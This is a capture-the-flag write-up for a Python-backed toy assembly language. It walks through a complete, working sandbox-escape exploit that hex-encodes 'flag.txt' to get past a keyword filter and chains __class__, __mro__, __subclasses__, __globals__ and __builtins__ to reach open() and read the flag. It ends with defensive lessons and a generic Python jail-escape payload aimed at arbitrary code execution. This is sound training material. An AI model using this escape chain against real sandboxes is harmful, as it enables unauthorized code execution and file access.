Chusembly - EH4X CTF 2026
Category: Miscellaneous | Points: 500 | Solves: 7 | Author: benzo
I've created Chusembly - a revolutionary new programming language that's totally secure! It has registers, a stack, and everything a real language needs. I even added a safety check so you can't do anything dangerous. The flag is sitting right there in flag.txt, but good luck reading it with my restricted instruction set! 😏
First Look
Alright so we land on this page called "Chusembly Runner" - basically a textarea where you paste code and hit Run. The placeholder shows:
LD A 1
LD B 2
ADD A B
STDOUT A
Output: 3
Ok cool, custom assembly language. The challenge says the flag is in flag.txt but we have a "restricted instruction set" and a "safety check". Classic sandbox escape vibes.
me: "restricted instruction set"
also me: so you're saying there's a chance

Recon - What Are We Working With?
Step 1: Find the instruction set
First thing - send an invalid instruction and see what happens:
INVALID
Output:
['LD', 'PEEK', 'POP', 'PUSH', 'DEL', 'ADD', 'MOV', 'CMP', 'IDX', 'CALL', 'PROP', 'END', 'STDOUT']
Error: Unknown instruction: INVALID
lmao the error literally dumps the entire instruction list. thanks bro.
Step 2: Find the docs
Poking around... /docs returns 200!
The docs page is actually super detailed. Here's the important stuff:
| Register | Purpose |
|---|---|
| A-D | General purpose |
| E | Special result register - stores output from CALL, PROP, CMP, IDX |
Key instructions for our exploit:
| Instruction | Syntax | What it does |
|---|---|---|
PROP | PROP <name> <reg> | E = getattr(reg, name) - gets ANY Python attribute!! |
CALL | CALL <reg> | Calls the callable in reg, args from A & B, result in E |
MOV | MOV <src> <dst> | Copies src register to dst |
DEL | DEL <reg> | Clears a register (important for controlling CALL args) |
LD | LD <reg> <val> | Loads value. Supports 0x hex-encoded strings! |
The moment I saw PROP uses getattr() on actual Python objects...
brain: python jail escape time baby

The Safety Check
Before we go full hackerman, let's figure out what's blocked:
LD A flag → "Error: Unsafe code detected"
LD A Flag → works fine (outputs "Flag")
LD A fl → works
LD A .txt → works
So the filter just blocks the exact lowercase word "flag" in the source code. That's it. One keyword. For a 500-point challenge.
"totally secure" - benzo, 2026
We can bypass this with the hex string feature from the docs:
>>> "flag.txt".encode().hex()
'666c61672e747874'So LD A 0x666c61672e747874 loads the string "flag.txt" without ever writing "flag" in our code. ez.
The Exploit - Python Object Chain
This is a classic Python sandbox escape using the object inheritance chain. If you've done any Python jail challenges before, you know the drill. If not, buckle up.
The Game Plan
Why Does This Work?
In Python, everything is an object. Every string, every integer, every class inherits from object. And object keeps a list of ALL its subclasses. So from any value, we can:
- Climb UP the class hierarchy to
object - Come back DOWN through any subclass we want
- Find one with
__globals__(any user-defined function has this) - Reach
__builtins__which hasopen(),exec(),__import__(), etc.
The interpreter's own main.Chusembly class is a user-defined class, so it has everything we need. The snake eats its own tail.
benzo: "my language is totally secure!"
his own class: *exists in __subclasses__*
us: "i'm about to end this man's whole career"
The Full Exploit
Here's the Chusembly code, annotated:
$ ===== PHASE 1: Climb to <class 'object'> =====
LD A hello
PROP __class__ A $ E = <class 'str'>
MOV E A
PROP __mro__ A $ E = (<class 'str'>, <class 'object'>)
MOV E B
LD A 1
IDX B C $ C = <class 'object'>
$ ===== PHASE 2: Get all subclasses =====
PROP __subclasses__ C $ E = object.__subclasses__ (method)
MOV E D
DEL A
DEL B
CALL D $ E = [list of ALL classes in the interpreter]
MOV E C
$ ===== PHASE 3: Grab the Chusembly class =====
LD A -1
IDX C D $ D = <class 'main.Chusembly'> (last in list)
$ ===== PHASE 4: Traverse to __globals__ =====
PROP __init__ D $ E = Chusembly.__init__ method
MOV E A
PROP __globals__ A $ E = module globals dict
MOV E D
$ ===== PHASE 5: Fish out __builtins__ =====
PROP get D $ E = dict.get method
MOV E C
LD A __builtins__
DEL B
CALL C $ E = __builtins__ dict
MOV E D
$ ===== PHASE 6: Get open() function =====
PROP get D $ E = builtins.get method
MOV E C
LD A open
DEL B
CALL C $ E = <built-in function open>
MOV E D
$ ===== PHASE 7: open("flag.txt") with hex bypass =====
LD A 0x666c61672e747874 $ A = "flag.txt" (hex decoded)
DEL B
CALL D $ E = open("flag.txt") file object
$ ===== PHASE 8: .read() the flag =====
MOV E A
PROP read A $ E = file.read method
MOV E D
DEL A
DEL B
CALL D $ E = file contents
$ ===== PHASE 9: PROFIT =====
STDOUT EOutput:
EH4X{chusembly_a1n7_7h47_7uffff_br0}

Key Takeaways (Educational)
1. getattr() is Dangerous in Sandboxes
The PROP instruction uses Python's getattr() which can access any attribute including:
__class__,__mro__,__subclasses__()→ class hierarchy traversal__init__,__globals__→ access to module-level variables__builtins__→ access to ALL built-in functions
If you're building a sandbox, never expose raw getattr() without a strict allowlist.
2. Keyword Filtering is Not Security
The "safety check" only blocked the literal string flag. Real security needs:
- Instruction allowlisting (not keyword blocklisting)
- Restricting which attributes
PROPcan access (block all dunder attributes) - Running in a truly sandboxed environment (seccomp, containers, etc.)
3. The Python Object Chain
This is THE classic Python jail escape pattern. Memorize it:
"".__class__.__mro__[1].__subclasses__()
This gives you every class loaded in the Python interpreter. From there, find any class with a user-defined __init__ that has __globals__, and you can reach __builtins__ for arbitrary code execution.
Common useful subclasses to look for:
os._wrap_close→ has__init__.__globals__withosmodule accesssubprocess.Popen→ direct command execution- Any class from the application itself (like
main.Chusemblyhere)
4. The 0x Hex Bypass
When a language supports hex-encoded strings, you can bypass ANY keyword filter:
"flag.txt" → 0x666c61672e747874
"open" → 0x6f70656e
Always check for alternative encoding when you hit a keyword filter.
TL;DR
challenge: "my custom language is secure, you can't read flag.txt"
me: *uses the language's own PROP instruction to traverse
Python's entire class hierarchy and get open()*
challenge: surprised_pikachu.jpg
Flag: EH4X{chusembly_a1n7_7h47_7uffff_br0}
GG benzo, fun challenge! The "restricted instruction set" had everything we needed built right in.
If you want to learn more about Python jail escapes, look up "Python sandbox escape via subclasses" - there's a ton of great resources. HackTricks has a solid page on it.